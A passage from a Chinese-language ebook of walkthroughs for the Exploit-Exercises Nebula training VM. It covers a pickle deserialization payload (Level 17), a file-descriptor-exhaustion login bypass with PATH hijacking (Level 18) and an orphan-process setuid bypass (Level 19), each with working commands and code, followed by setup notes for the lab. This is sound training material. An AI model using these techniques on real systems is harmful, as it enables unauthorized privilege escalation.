pickle.loads("""cos\nsystem\n(S'ps'\ntR.""") 111 | #+END_SRC 112 | 113 | 上方代码,会执行system('ps')函数。 114 | 115 | 先在/tmp目录中建立一个lx: 116 | 117 | #+BEGIN_EXAMPLE 118 | cos 119 | system 120 | (S'getflag>/tmp/level17' 121 | tR. 122 | #+END_EXAMPLE 123 | 124 | 执行下面一系列命令,将提升权限: 125 | 126 | #+BEGIN_EXAMPLE 127 | level17@nebula:~$ 128 | level17@nebula:~$ cd /home/flag17 129 | level17@nebula:/home/flag17$ cd /tmp 130 | level17@nebula:/tmp$ ls 131 | lx 132 | level17@nebula:/tmp$ cat x | nc 127.0.0.1 10007 133 | Accepted connection from 127.0.0.1:46865<=====这里一定要回车一下 134 | 135 | ^C<=====Ctrl+C中断 136 | level17@nebula:/tmp$ cat level17 137 | You have successfully executed getflag on a target account 138 | level17@nebula:/tmp$ 139 | #+END_EXAMPLE 140 | -------------------------------------------------------------------------------- /Level18——资源未释放漏洞.org: -------------------------------------------------------------------------------- 1 | 这关比较特殊, 根据题目的提示,有简单的、容易的和最难的三种方法突破这关。在此,我只讲一种简单的方法——通过资源未释放漏洞。另外的方法可能是溢出和字符串格式化漏洞,还有空指针问题。由于这些已经有点超出基础学习的范围了,所以就不说了。 2 | 3 | *注意* 4 | 5 | #+BEGIN_EXAMPLE 6 | 本文利用“资源未释放漏洞”是可以顺利通关了的,但是我觉得官方给出的代码有问题如果程序中有fclose,那么本文的方法就行不通。我查阅过的国外一些技术员的博客,他们突破的时候,都没有32行处的fclose。为此,我逆向了系统中flag18,也没有看到login函数里调用过fclose函数。并且,我看官方更新的源码中,似乎是在两个多月前加上的fclose(),而我却是在一个多月前下载的Exploit Exercises,我今天也重新下载了镜像,做了实验,确定能够通关,并且也逆向了flag18,确定了目前的flag18是没有调用fclose的。如果你无法利用本文的方法通关的话,先自己尝试是否能消耗完1024个句柄,如果不能消耗完,很可能程序中已经加了fclose,这时,你可以通过电邮联系我,一起讨论下另外的突破方法:lx#shellcodes.org。而在本文中,我将忽略掉32行的fclose()。 7 | #+END_EXAMPLE 8 | 9 | 程序代码如下: 10 | 11 | #+BEGIN_SRC c -nw 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | struct { 21 | FILE *debugfile; 22 | int verbose; 23 | int loggedin; 24 | } globals; 25 | 26 | #define dprintf(...) if(globals.debugfile) fprintf(globals.debugfile, __VA_ARGS__) 27 | #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) fprintf(globals.debugfile, __VA_ARGS__) 28 | 29 | #define PWFILE "/home/flag18/password" 30 | 31 | void login(char *pw) 32 | { 33 | FILE *fp; 34 | 35 | fp = fopen(PWFILE, "r"); 36 | if(fp) { 37 | char file[64]; 38 | 39 | if(fgets(file, sizeof(file) - 1, fp) == NULL) { 40 | dprintf("Unable to read password file %s\n", PWFILE); 41 | return; 42 | } 43 | fclose(fp); 44 | if(strcmp(pw, file) != 0) return; 45 | } 46 | dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); 47 | 48 | globals.loggedin = 1; 49 | 50 | } 51 | 52 | void notsupported(char *what) 53 | { 54 | char *buffer = NULL; 55 | asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); 56 | dprintf(what); 57 | free(buffer); 58 | } 59 | 60 | void setuser(char *user) 61 | { 62 | char msg[128]; 63 | 64 | sprintf(msg, "unable to set user to '%s' -- not supported.\n", user); 65 | printf("%s\n", msg); 66 | 67 | } 68 | 69 | int main(int argc, char **argv, char **envp) 70 | { 71 | char c; 72 | 73 | while((c = getopt(argc, argv, "d:v")) != -1) { 74 | switch(c) { 75 | case 'd': 76 | globals.debugfile = fopen(optarg, "w+"); 77 | if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg); 78 | setvbuf(globals.debugfile, NULL, _IONBF, 0); 79 | break; 80 | case 'v': 81 | globals.verbose++; 82 | break; 83 | } 84 | } 85 | 86 | dprintf("Starting up. Verbose level = %d\n", globals.verbose); 87 | 88 | setresgid(getegid(), getegid(), getegid()); 89 | setresuid(geteuid(), geteuid(), geteuid()); 90 | 91 | while(1) { 92 | char line[256]; 93 | char *p, *q; 94 | 95 | q = fgets(line, sizeof(line)-1, stdin); 96 | if(q == NULL) break; 97 | p = strchr(line, '\n'); if(p) *p = 0; 98 | p = strchr(line, '\r'); if(p) *p = 0; 99 | 100 | dvprintf(2, "got [%s] as input\n", line); 101 | 102 | if(strncmp(line, "login", 5) == 0) { 103 | dvprintf(3, "attempting to login\n"); 104 | login(line + 6); 105 | } else if(strncmp(line, "logout", 6) == 0) { 106 | globals.loggedin = 0; 107 | } else if(strncmp(line, "shell", 5) == 0) { 108 | dvprintf(3, "attempting to start shell\n"); 109 | if(globals.loggedin) { 110 | execve("/bin/sh", argv, envp); 111 | err(1, "unable to execve"); 112 | } 113 | dprintf("Permission denied\n"); 114 | } else if(strncmp(line, "logout", 4) == 0) { 115 | globals.loggedin = 0; 116 | } else if(strncmp(line, "closelog", 8) == 0) { 117 | if(globals.debugfile) fclose(globals.debugfile); 118 | globals.debugfile = NULL; 119 | } else if(strncmp(line, "site exec", 9) == 0) { 120 | notsupported(line + 10); 121 | } else if(strncmp(line, "setuser", 7) == 0) { 122 | setuser(line + 8); 123 | } 124 | } 125 | 126 | return 0; 127 | } 128 | 129 | #+END_SRC 130 | 131 | 资源未释放漏洞就是程序使用了系统资源(比如申请了内存空间、打开了文件),但没有(正确)释放资源,这个漏洞出现在login函数中,因为调用了fopen,但并没有调用fclose释放资源。如果25行的if(fp)为假,globals.loggedin将会被赋值为1,globals.loggedin=1表示的是成功登录。导致fp返回空的原因有很多,比如句柄用完了、没有权限操作指定的文件等等。 132 | 133 | 由于是个交互式程序,不断接受用户输入的指令,每调用一次login执行,就会消耗一个句柄,直到句柄消耗完毕。Linux默认情况下,一个进程只可以打开1024个句柄,可以通过ulimit -n命令查看: 134 | 135 | #+BEGIN_EXAMPLE 136 | level18@nebula:/tmp$ ulimit -n 137 | 1024 138 | #+END_EXAMPLE 139 | 140 | 虽然显示的是1024,但是标准输入、标准输出、标准错误输出会分别占用一个句柄,所以最终供程序可用的只有1021个 141 | 142 | 攻击这段代码的方法便是不停让它向系统申请句柄,让程序耗尽句柄,让login的代码执行到globals.loggedin=1,之后就可以向程序发送“shell”命令。代码第98行说明要执行“shell”指令,globals.loggedin必须为1。 143 | 144 | 先在/tmp下建立一个脚本,输出1021个“login lu4nx”命令: 145 | 146 | #+BEGIN_SRC shell 147 | for i in {0..1020}; 148 | do 149 | echo 'login lu4nx'>>/tmp/login; 150 | done; 151 | 152 | #+END_SRC 153 | 154 | 因为Linux的标准输入、输出和错误各需要一个句柄,所以只需要1021个。 之后执行: 155 | 156 | #+BEGIN_SRC shell 157 | cat /tmp/login | /home/flag18/flag18 -d /tmp/debug 158 | #+END_SRC 159 | 160 | 然后看看debug中的内容: 161 | 162 | #+BEGIN_EXAMPLE 163 | level18@nebula:/tmp$ cat debug 164 | Starting up. Verbose level = 0 165 | logged in successfully (without password file) 166 | #+END_EXAMPLE 167 | 168 | flag18的-d参数是输出信息到指定的文件中,具体请参考源码。根据输出的内容,说明登录成功了,如果登录成功了,就可以执行“shell”命令,在/tmp/login中追加一个“shell”命令: 169 | 170 | #+BEGIN_EXAMPLE 171 | level18@nebula:echo 'shell' >> /tmp/login #向login文件中追加一行“shell”字符串 172 | level18@nebula:cat /tmp/login | /home/flag18/flag18 -d /tmp/debug 173 | #+END_EXAMPLE 174 | 175 | 再看输出: 176 | 177 | #+BEGIN_EXAMPLE 178 | level18@nebula:/tmp$ cat login | /home/flag18/flag18 -d debug 179 | /home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24 180 | #+END_EXAMPLE 181 | 182 | 很明显,是因为句柄耗尽了,所以无法获得句柄,自然打开文件就失败了。不过还好官方提供的源码中有个closelog命令: 183 | 184 | #+BEGIN_SRC c 185 | } else if(strncmp(line, "closelog", 8) == 0) { 186 | if(globals.debugfile) fclose(globals.debugfile); 187 | globals.debugfile = NULL; 188 | } 189 | #+END_SRC 190 | 191 | 执行closelog命令,可以直接释放一个句柄。所以在“shell”命令执行前,先释放一个句柄,直接在/tmp/login的“shell”行上方加入closelog后再执行: 192 | 193 | #+BEGIN_EXAMPLE 194 | level18@nebula:/tmp$ cat login | /home/flag18/flag18 -d debug 195 | /home/flag18/flag18: -d: invalid option 196 | Usage: /home/flag18/flag18 [GNU long option] [option] ... 197 | /home/flag18/flag18 [GNU long option] [option] script-file ... 198 | GNU long options: 199 | --debug 200 | --debugger 201 | --dump-po-strings 202 | --dump-strings 203 | --help 204 | --init-file 205 | --login 206 | --noediting 207 | --noprofile 208 | --norc 209 | --posix 210 | --protected 211 | --rcfile 212 | --restricted 213 | --verbose 214 | --version 215 | Shell options: 216 | -irsD or -c command or -O shopt_option (invocation only) 217 | -abefhkmnptuvxBCHP or -o option 218 | #+END_EXAMPLE 219 | 220 | 这个提示的错误其实不是来自flag18的,而是在/bin/sh接受参数时的问题,加个--init-file就可以了: 221 | 222 | #+BEGIN_EXAMPLE 223 | level18@nebula:/tmp$ cat login | /home/flag18/flag18 --init-file -d debug 224 | /home/flag18/flag18: invalid option -- '-' 225 | /home/flag18/flag18: invalid option -- 'i' 226 | /home/flag18/flag18: invalid option -- 'n' 227 | /home/flag18/flag18: invalid option -- 'i' 228 | /home/flag18/flag18: invalid option -- 't' 229 | /home/flag18/flag18: invalid option -- '-' 230 | /home/flag18/flag18: invalid option -- 'f' 231 | /home/flag18/flag18: invalid option -- 'i' 232 | /home/flag18/flag18: invalid option -- 'l' 233 | /home/flag18/flag18: invalid option -- 'e' 234 | debug: line 1: Starting: command not found 235 | debug: line 2: syntax error near unexpected token `(' 236 | debug: line 2: `logged in successfully (without password file)' 237 | #+END_EXAMPLE 238 | 239 | 依旧还是要提示错误,请注意: 240 | 241 | #+BEGIN_EXAMPLE 242 | debug: line 1: Starting: command not found 243 | #+END_EXAMPLE 244 | 245 | 提示找不到Starting命令。根据前面玩过的关卡的经验,看到这个就应该联想到前面有一关是关于攻击环境变量的,这种情况我们可以在环境变量上下手脚,在/tmp目录里新建一个Starting,加上+x权限。Starting是一个脚本,内容是将getflag的输出重定向到/tmp/output中: 246 | 247 | #+BEGIN_EXAMPLE 248 | level18@nebula:/tmp$ touch Starting 249 | level18@nebula:/tmp$ chmod +x Starting 250 | level18@nebula:/tmp$ echo "getflag>/tmp/output" > Starting 251 | #+END_EXAMPLE 252 | 253 | 并修改PATH变量: 254 | 255 | #+BEGIN_EXAMPLE 256 | level18@nebula:/tmp$ PAHT=/tmp:$PATH 257 | level18@nebula:/tmp$ echo $PATH 258 | /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games 259 | #+END_EXAMPLE 260 | 261 | 再次执行后,只看到这么两句错误: 262 | 263 | #+BEGIN_EXAMPLE 264 | debug: line 2: syntax error near unexpected token `(' 265 | debug: line 2: `logged in successfully (without password file)' 266 | #+END_EXAMPLE 267 | 268 | 这时并没有提示找不到Starting了。同时,再看看目录下,多出一个output: 269 | 270 | #+BEGIN_EXAMPLE 271 | level18@nebula:/tmp$ cat output 272 | You have successfully executed getflag on a target account 273 | #+END_EXAMPLE 274 | 275 | 说明已经成功提权。 276 | 277 | 参考: 278 | 279 | 1. http://securityetalii.es/2012/08/13/solucion-nebula-nivel-18/ 280 | -------------------------------------------------------------------------------- /Level19——进程的突破.org: -------------------------------------------------------------------------------- 1 | 这关要求我们突破一个程序,程序代码如下: 2 | 3 | #+BEGIN_SRC c 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | int main(int argc, char **argv, char **envp) 13 | { 14 | pid_t pid; 15 | char buf[256]; 16 | struct stat statbuf; 17 | 18 | /* Get the parent's /proc entry, so we can verify its user id */ 19 | 20 | snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); 21 | 22 | /* stat() it */ 23 | 24 | if(stat(buf, &statbuf) == -1) { 25 | printf("Unable to check parent process\n"); 26 | exit(EXIT_FAILURE); 27 | } 28 | 29 | /* check the owner id */ 30 | 31 | if(statbuf.st_uid == 0) { 32 | /* If root started us, it is ok to start the shell */ 33 | 34 | execve("/bin/sh", argv, envp); 35 | err(1, "Unable to execve"); 36 | } 37 | 38 | printf("You are unauthorized to run this program\n"); 39 | } 40 | #+END_SRC 41 | 42 | 这段程序的流程是这样的:当我们执行它时,它首先通过getppid()得到父进程pid号,然后再根据这个pid号找到/proc下为当前pid号的文件夹,如果这个文件夹属于root身份的,就执行shell。 43 | 44 | 这里需要了解下Linux中进程的销毁:Linux中的进程有父子关系,当子进程销毁时,父进程需要回收它。如果在子进程执行完毕之前,父进程因为种种原因被销毁了,那么子进程就变成了孤儿进程,收养它的是init进程,它的pid是1。init进程是Linux启动时创建的第一个进程,负责运行服务之类的事。收养它之后,孤儿进程就认init做爹了。 init不仅是孤儿进程的爹,还是其他所有进程的爹,或者祖爷爷,它的权限不用说了,肯定很大。 45 | 46 | 所以,突破这段程序的方法就是写一段代码,fork一个进程,并且在fork出的子进程执行完毕之前,将父进程结束掉,等init来回收它。而init的uid绝对是0。代码如下: 47 | 48 | #+BEGIN_SRC c 49 | #include 50 | #include 51 | #include 52 | 53 | int main(void) 54 | { 55 | pid_t pid; 56 | pid = fork(); 57 | char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19_output",NULL}; //将getflag的内容重定向到/tmp/flag19_output中 58 | 59 | if(pid == 0) //如果pid==0,则是子进程 60 | { 61 | execve("/home/flag19/flag19",argvs,NULL); 62 | }else if(pid > 0){ //返回给父进程时,直接结束父进程,子进程就成了孤儿进程了 63 | exit(0); 64 | } 65 | return 0; 66 | } 67 | #+END_SRC 68 | 69 | 编译并执行: 70 | 71 | #+BEGIN_EXAMPLE 72 | level19@nebula:/tmp$ vim flag19.c 73 | level19@nebula:/tmp$ gcc flag19.c 74 | level19@nebula:/tmp$ ./a.out 75 | level19@nebula:/tmp$ cat flag19 76 | flag19.c flag19_output 77 | level19@nebula:/tmp$ cat flag19_output 78 | You have successfully executed getflag on a target account 79 | #+END_EXAMPLE 80 | 81 | 参考: 82 | 83 | 1. http://securityetalii.es/2012/08/10/soluciones-nebula-niveles-1719/ 84 | -------------------------------------------------------------------------------- /README.org: -------------------------------------------------------------------------------- 1 | 这本电子书发布于2012年10月20日,写它时正准备去知道创宇工作,距现在也快两年了。这近两年的工作中,这本书的内容不断影响着我,所以对我来说,它的价值很高,于是再次修订了一下,并将其改成Markdown格式放到Github上开源。 2 | 3 | 而在我修订本书时,exploit-exercises.com域名一直处于到期状态,搞笑的是我修订完并把所有内容commit后,域名又被激活了,Exploit-Exercises官方又能正常访问了。而域名到期时,怕读者找不到镜像文件,我还专门把以前留下的镜像上传到百度网盘中:http://pan.baidu.com/s/1hqIdJXa ,不过我上传的这个镜像正是我当时写这本书用的镜像,所以这个镜像可以保证书内容的正确性,而官方最新的我就暂时不知道了。 4 | 5 | * 捐助 6 | [[./img/donate.png]] 7 | 8 | * 许可协议 9 | 10 | 本作品采用知识共享 署名 4.0 国际 许可协议进行许可。访问 http://creativecommons.org/licenses/by/4.0/ 查看该许可协议。 11 | -------------------------------------------------------------------------------- /img/donate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lu4nx/Exploit-Exercises-Nebula/3e7e1d89a248084076d3f822d5f6653c9c6c4c4b/img/donate.png -------------------------------------------------------------------------------- /简介.org: -------------------------------------------------------------------------------- 1 | * Exploit-Exercises简介 2 | 3 | Exploit-Exercises项目提供了三种完整的Ubuntu虚拟机镜像,分别被命名为Nebula、Protostar和Fusion,可通过它们学习系统提权、漏洞分析和利用、Exploit开发、逆向分析和缓冲区溢出等安全技术。 4 | 5 | 本书只讲解Nebula,Nebula为初级平台,共有20个关卡,涉及了基本的源码级漏洞分析、提权、协议分析和简单的逆向工程等。Nebula有很高的学习价值,除了帮助不懂Linux的安全研究人员提高Linux平台上的安全技术,还可以帮助没有安全经验的开发人员提高编码安全的意识。 6 | 7 | Exploit-Exercises的官方网站:http://exploit-exercises.com/。 8 | 9 | * 下载和安装 10 | 11 | Exploit-Exercises官方提供了格式为ova的虚拟机镜像文件,下载地址http://exploit-exercises.com/nebula 12 | 13 | *注意:* 14 | 15 | 截至2014-09-21,Exploit-Exercises的域名一直处于到期状态,请到http://pan.baidu.com/s/1hqIdJXa下bula镜像,该镜像正是我写本书时用的环境。 16 | 17 | 下载完毕后,用VirtualBox虚拟机导入即可: 18 | 19 | - 启动VirtualBox,点击菜单栏上的“管理”->“虚拟电脑”,在弹出的对话框中点击“选择”,找到 中“exploit-exercises-nebula-4.ova” 20 | 21 | - 点“下一步”,“复选重新初始化所有网卡的”。 22 | 23 | - 启动虚拟机,这时可能会弹出一个错误提示:“Failed to open/create the internal network 'HostInterfaceNetworking-eth1' (VERR_INTNET_FLT_IF_NOT_FOUND).”,若读着看到此错误提示,点“设置”,选择“网络”,再确定即可(VirtualBox这时会自动设置网卡)。 24 | 25 | * 玩法 26 | 27 | Nebula有20个关卡,用Level0~Level19作为关卡标识,每个关卡的要求及相关代码在http://exploit-exercises.com/nebula 上对应关卡的页面中获得。 28 | 29 | 每一Level都对应系统中以level开头的账号,密码与账号名相同(比如Level01,对应的系统帐号是level01),每玩一关,都需要用对应的账号登录系统,然后进入到/home/flag×目录中,与该level相关的代码、数据等都放在于此(相关程序的源码在 http://exploit-exercises.com/nebula`中对应Level页面里获得 )。 30 | 31 | 系统中有一个getflag命令,用来验证是否提权成功。每个level开头的帐号都对应着一个flag开头的帐号,如果当前以flag开头的帐号运行getflag,将提示“You have successfully executed getflag on a target account”,那么说明你成功提权了;提权失败则提示“getflag is executing on a non-flag account,this doesn't count”。 32 | 33 | 举个例子,比如进行第一关(Level00),流程应如下: 34 | 35 | 1. 首先用level00登录系统(密码就是level00); 36 | 37 | 2. 然后进入/home/flag00目录; 38 | 39 | 3. 在 http://exploit-exercises.com/nebula 查看题目要求(或看本书); 40 | 41 | 4. 得到权限后执行getflag; 42 | 43 | 5.如果当前是以flag00的身份运行getflag,提示“You have successfully executed getflag on a target account”则表示提权成功,然后登录下一关的level帐号。 44 | 45 | 如果需要配置系统,可用nebula账号登录,密码也是nebula,该帐号具有sudo权限。比如需要给镜像配置一个IP地址,然后用ssh登录进去,首先nebula登录系统,接着再执行`sudo dhclient eth1`(或者手动指定静态IP)。 46 | --------------------------------------------------------------------------------